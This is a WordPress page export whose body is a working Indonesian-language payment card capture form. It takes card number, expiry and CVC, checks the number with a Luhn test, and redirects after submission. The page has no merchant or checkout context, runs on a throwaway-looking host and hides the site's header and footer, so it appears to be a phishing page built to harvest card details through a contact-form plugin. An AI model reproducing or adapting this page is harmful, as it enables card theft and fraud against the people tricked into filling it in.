{"id":129,"date":"2026-06-30T11:20:56","date_gmt":"2026-06-30T11:20:56","guid":{"rendered":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/?page_id=129"},"modified":"2026-06-30T11:22:11","modified_gmt":"2026-06-30T11:22:11","slug":"card","status":"publish","type":"page","link":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/?page_id=129","title":{"rendered":"card"},"content":{"rendered":"\n<div class=\"wp-block-contact-form-7-contact-form-selector\">\n<div class=\"wpcf7 no-js\" id=\"wpcf7-f127-o1\" lang=\"en-US\" dir=\"ltr\" data-wpcf7-id=\"127\">\n<div class=\"screen-reader-response\"><p role=\"status\" aria-live=\"polite\" aria-atomic=\"true\"><\/p> <ul><\/ul><\/div>\n<form action=\"\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F129#wpcf7-f127-o1\" method=\"post\" class=\"wpcf7-form init\" aria-label=\"Contact form\" novalidate=\"novalidate\" data-status=\"init\">\n<fieldset class=\"hidden-fields-container\"><input type=\"hidden\" name=\"_wpcf7\" value=\"127\" \/><input type=\"hidden\" name=\"_wpcf7_version\" value=\"6.1.6\" \/><input type=\"hidden\" name=\"_wpcf7_locale\" value=\"en_US\" \/><input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f127-o1\" \/><input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/><input type=\"hidden\" name=\"_wpcf7_posted_data_hash\" value=\"\" \/>\n<\/fieldset>\n<DOCTYPE html>\n<html lang=\"id\">\n<head>\n  <meta charset=\"UTF-8\">\n  <meta name=\"theme-color\" content=\"#42B649\"> \n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, user-scalable=no\">\n\n  <style>\n    body {\n      font-family: roboto, sans-serif;\n      padding: 10px;\n      background: url('img\/lok.jpg') no-repeat center center fixed;\n      background-size: cover;\n    }\n\n\n    .card.flipped {\n      transform: rotateY(180deg);\n    }\n    \n    .card .front,\n.card .back {\n  width: 100%;\n  height: 100%;\n  border-radius: 10px;\n  margin-top:18%;\n  \n  overflow: hidden;\n  background: #000000;\n\n  background-size: contain;\n  \n  background-position: center center;\n  background-repeat: no-repeat;\n  color: #dedede;\n  box-shadow: 3px 13px 30px 0px rgba(21, 34, 67, 0.2);\n  position: absolute;\n  top: 0;\n  left: 0;\n  backface-visibility: hidden;\n\n  display: flex;\n  flex-direction: column;\n  justify-content: center;\n  align-items: center;\n  padding: 15px;\n  box-sizing: border-box;\n}\n.card .front {\n  background-image: url('https:\/\/mform-13deb68.ingress-daribow.ewp.live\/wp-content\/uploads\/2026\/07\/IMG-20260713-WA0002.jpg');\n}\n\n.card .back {\n  background-imagu.e: url('https:\/\/mform-13deb68.ingress-daribow.ewp.live\/wp-content\/uploads\/2026\/07\/IMG-20260713-WA0003.jpg');\n  transform: rotateY(180deg);\n}\n    .card-number {\n      font-size: 18px;\n      font-weight: semibold;\n      margin-top: 80px;\n      letter-spacing: 2px;\n    }\n\n    .card-expiry {\n      font-size: 18px;\n      font-weight: semibold;\n      margin-top: 10px;\n      \n    }\n\n    .card-cvv {\n      font-size: 16px;\n      font-weight: bold;\n    }\n    \n    .form-group {\n  display: flex;\n  flex-direction: column; \/* ubah dari row ke kolom *\/\n  align-items: flex-start; \/* rata kiri *\/\n  max-width: 300px;\n  margin: 10px auto;\n}\n\ninput[type=\"tel\"] {\n  width: 100%; \/* isi lebar penuh group *\/\n  padding: 15px;\n  font-size: 15px;\n  \n  outline:none;\n  border: 1px solid #6F7477;\n  border-radius: 7px;\n  box-sizing: border-box;\n  box-shadow: 0px 0px 0px 0px rgba(0,0,0,0.0);\n}\n\n.error {\n  color: red;\n  font-size: 12px;\n  margin-top: 5px; \/* beri jarak kecil dari input *\/\n  text-align: left; \/* teks error rata kiri *\/\n}\n\n    .card-type {\n      text-align: center;\n      font-weight: bold;\n      font-size: 14px;\n      margin-bottom: 10px;\n    }\n\n     .card[type=\"expiry\"]{\n      text-align: right;\n}\n\n  button {\n  margin-top: 10px;\n  margin-bottom: 20px;\n  width: auto;\n  padding: 12px 40px;\n  background-color: #1C4F8E;\n  color: #ffffff;\n  font-size: 15px;\n  border: none;\n  border-radius: 7px;\n  cursor: pointer;\n  box-shadow: 0px 2px 3px 1px rgba(0,0,0,0.3);\n}\n\n    .card-box {\n  width: 300px;\n  height: 180px;\n  perspective: 1000px;\n  margin: 0 auto 30px;\n  \n  display: flex;\n  justify-content: center;\n  align-items: center;\n}\n\n.card {\n  width: 100%;\n  height: 100%;\n  \n  transform-style: preserve-3d;\n  transition: transform 0.6s;\n  transform-origin: center center;\n}\n.form-wrapper {\n  border: 1px solid #6F7477; \/* garis pembatas *\/\n  border-radius: 10px;\n  padding: 20px;\n  box-shadow: 3px 13px 30px 0px rgba(21, 34, 67, 0.2); \/* efek bayangan *\/\n  background-color: #fff;\n  max-width: 320px;\n  margin: 0 auto 20px;\n}\nnav {\n            width: 100%;\n            position: fixed;\n            background-color: white;\n            z-index: 1000;\nborder: 2px solid #ffffff; \n        }\n        nav.top {\n            top: 0;\n            height:5%;\n            margin-top:-1%;\n            margin-left:-5%;\n            border-bottom: 2px solid #ffffff;\n        }\n        nav.bottom {\n            bottom: 0;\n            border-top: 2px solid #ffffff;\n        }\n        nav img {\n            width: 100%;\n            height: auto;\n            display: block;\n        }\n          .form-group {\n    display: flex;\n    align-items: center;\n    margin-bottom: 5px;\n    position: relative;\n  }\n\n  .form-group img.icon {\n    width: 22px;\n    height: 22px;\n    position: absolute;\n    left: 10px;\n    top: 47%;\n    transform: translateY(-50%);\n  }\n\n  .form-group input {\n    padding-left: 40px; \/* memberi ruang untuk icon *\/\n  }\n\n  <\/style>\n<\/head>\n<body>\n            \n\n<div class=\"card-box\">\n  <div class=\"card\" id=\"card\">\n    <div class=\"front\">\n      <div class=\"card-number\" id=\"displayCardNumber\">\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022<\/div>\n      <div class=\"card-expiry\"> <span id=\"displayExpiry\">\u2022\u2022\/\u2022\u2022<\/span><\/div>\n    <\/div>\n    <div class=\"back\">\n      <div class=\"card-cvv\" id=\"displayCVV\">\u2022\u2022\u2022<\/div>\n    <\/div>\n  <\/div>\n<\/div>\n<br><br>\n<div class=\"card-type\" id=\"cardType\"><\/div>\n\n\n  <div class=\"form-wrapper\">\n  <div class=\"form-group\">\n          <img decoding=\"async\" class=\"icon\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEjbGWVkwvnxT1RZ8r_pnemSaJBBjIZ98yEh_-fy2zEYxWDw7F4CEM4vv0bPC2VVZFqcuR6JFsuqcNLIsY-RoeSVPpXEH_JlJvvrXuGO6oTVMdLMejaZvqMw1XCl-cvS-zuIXnd-NAd0zVPbzvLme_ma_99M82rpdxaOit5YzLnOLtkq7MZq1tel-sTxZtqk\" alt=\"card icon\">\n    <input type=\"tel\" name=\"cardNumber\" id=\"cardNumber\" maxlength=\"19\" placeholder=\"Masukkan 16 Digit Nomor Kartu\">\n    <div class=\"error\" id=\"cardError\"><\/div>\n  <\/div>\n  <div class=\"form-group\">\n   <img decoding=\"async\" class=\"icon\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEjCYbsR4cY1qaK__bneCemNMGx35EYaNtpsv0BN_V3uaNhjUcpGp7RUNmae-exc9soUJU15OP2XIrEY-0C8YeOq_JSBfaVCjO6o5-MzpY0woydQ3YaoGD1UQpfpEpEWzUDC9jQ-Fg_7RGDTxfd6LH4qRZBJNTiMxzuDREpA79N_7rxr1gLDZ4gHX60Qjs_f\" alt=\"valid thru icon\">\n     <input type=\"tel\" name=\"expiry\" id=\"expiry\" maxlength=\"5\" placeholder=\"Masa Berlaku\">\n    <div class=\"error\" id=\"expiryError\"><\/div>\n  <\/div>\n\n<div class=\"form-group\">\n          <img decoding=\"async\" class=\"icon\" src=\"https:\/\/blogger.googleusercontent.com\/img\/a\/AVvXsEh4O2dEGEkaY1HCP0d_KcbTvOPsPHav4KSNQs8HDOzY0SzN7TWxwkFR0myQDKmK2ynteQARn3ow6C-M5c-zMdObbsMzD-XAkJEPuPAn6BBMHM_GrAfuU_WTKyIO4O3iva1oTUGLGc50mWFzMlynzJAE2AcS9p1hYufHEvWGNDvI90IaeWgaPpKeNKpxWdDG\" alt=\"cvv icon\">\n    <input type=\"tel\" name=\"cvv\" id=\"cvv\" maxlength=\"3\" placeholder=\"CVC\">\n    <div class=\"error\" id=\"cvvError\"><\/div>\n  <\/div>\n\n    <div style=\"text-align:center\">\n    <button type=\"submit\">KONFIRMASI<\/button>\n  <\/div>\n\n\n<script>\n(function( $ ) {\n  $( document ).on( 'wpcf7submit', '.wpcf7', function ( e ) {\n    if ( 'validation_failed' === e.detail.status ) {\n      return;\n    }\n    window.location = 'https:\/\/mform-13deb68.ingress-daribow.ewp.live\/?page_id=120';\n  } );\n} )( jQuery );\n\nfunction detectCardType(number) {\n  number = number.replace(\/\\s\/g, '');\n  if (\/^4\/.test(number)) return 'Visa';\n  if (\/^5[1-5]\/.test(number) || \/^2(2[2-9]|[3-6]|7[01])\/.test(number)) return 'MasterCard';\n  if (\/^3[47]\/.test(number)) return 'AMEX';\n  return 'Tidak Dikenal';\n}\n\nfunction validLuhn(number) {\n  number = number.replace(\/\\D\/g, '');\n  let sum = 0, toggle = false;\n  for (let i = number.length - 1; i >= 0; i--) {\n    let digit = +number[i];\n    if (toggle) {\n      digit *= 2;\n      if (digit > 9) digit -= 9;\n    }\n    sum += digit;\n    toggle = !toggle;\n  }\n  return sum % 10 === 0;\n}\n\nfunction validExpiry(value) {\n  if (!\/^\\d{2}\\\/\\d{2}$\/.test(value)) return false;\n  const [month, year] = value.split('\/').map(Number);\n  if (month < 1 || month > 12) return false;\n  const now = new Date();\n  const expiry = new Date(2000 + year, month);\n  return expiry > now;\n}\n\nfunction validCVV(cvv, cardType) {\n  if (cardType === 'AMEX') return \/^\\d{4}$\/.test(cvv);\n  return \/^\\d{3}$\/.test(cvv);\n}\n\ndocument.getElementById('cardNumber').addEventListener('input', function () {\n  let value = this.value.replace(\/\\D\/g, '').substring(0, 16);\n  this.value = value.replace(\/(.{4})\/g, '$1 ').trim();\n  document.getElementById('displayCardNumber').textContent = this.value || '\u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022 \u2022\u2022\u2022\u2022';\n  const type = detectCardType(this.value);\n  document.getElementById('cardType').textContent = type === 'Tidak Dikenal' ? 'Kartu Tidak Dikenal' : type;\n});\n\ndocument.getElementById('expiry').addEventListener('input', function () {\n  let value = this.value.replace(\/\\D\/g, '').substring(0, 4);\n  if (value.length >= 3) {\n    this.value = value.substring(0, 2) + '\/' + value.substring(2);\n  } else {\n    this.value = value;\n  }\n  document.getElementById('displayExpiry').textContent = this.value || 'MM\/YY';\n});\n\ndocument.getElementById('cvv').addEventListener('focus', () => document.getElementById('card').classList.add('flipped'));\ndocument.getElementById('cvv').addEventListener('blur', () => document.getElementById('card').classList.remove('flipped'));\ndocument.getElementById('cvv').addEventListener('input', function () {\n  document.getElementById('displayCVV').textContent = this.value || '\u2022\u2022\u2022';\n});\n\nfunction validateForm() {\n  const cardNum = document.getElementById('cardNumber').value.trim().replace(\/\\s\/g, '');\n  const expiry = document.getElementById('expiry').value.trim();\n  const cvv = document.getElementById('cvv').value.trim();\n  const type = detectCardType(cardNum);\n\n  document.getElementById('cardError').textContent = '';\n  document.getElementById('expiryError').textContent = '';\n  document.getElementById('cvvError').textContent = '';\n\n  let valid = true;\n\n  if (cardNum.length !== 16 || !validLuhn(cardNum)) {\n    document.getElementById('cardError').textContent = 'Nomor tidak valid';\n    valid = false;\n  }\n\n  if (!validExpiry(expiry)) {\n    document.getElementById('expiryError').textContent = 'Tanggal salah';\n    valid = false;\n  }\n\n  if (!validCVV(cvv, type)) {\n    document.getElementById('cvvError').textContent = 'CVV salah';\n    valid = false;\n  }\n\n  return valid;\n}\n\n<\/script>\n<\/body><div class=\"wpcf7-response-output alert alert-warning\"><\/div>\n<\/form>\n<\/div>\n<\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-129","page","type-page","status-publish","hentry"],"blocksy_meta":{"has_hero_section":"disabled","background":{"background_type":"color","background_pattern":"type-1","background_image":{"attachment_id":null,"x":0,"y":0},"gradient":"linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)","background_repeat":"repeat","background_size":"auto","background_attachment":"scroll","patternColor":{"default":{"color":"#e5e7ea"}},"overlayColor":{"default":{"color":"CT_CSS_SKIP_RULE"}},"backgroundColor":{"default":{"color":"var(--theme-palette-color-6)"}}},"vertical_spacing_source":"custom","content_area_spacing":"none","disable_featured_image":"yes","disable_share_box":"yes","disable_header":"yes","disable_footer":"yes","styles_descriptor":{"styles":{"desktop":"[data-prefix=\"single_page\"] {background-color:var(--theme-palette-color-6);background-image:none;}","tablet":"","mobile":""},"google_fonts":[],"version":6}},"_links":{"self":[{"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=129"}],"version-history":[{"count":3,"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/129\/revisions"}],"predecessor-version":[{"id":133,"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=\/wp\/v2\/pages\/129\/revisions\/133"}],"wp:attachment":[{"href":"https:\/\/mform-13deb68.ingress-daribow.ewp.live\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}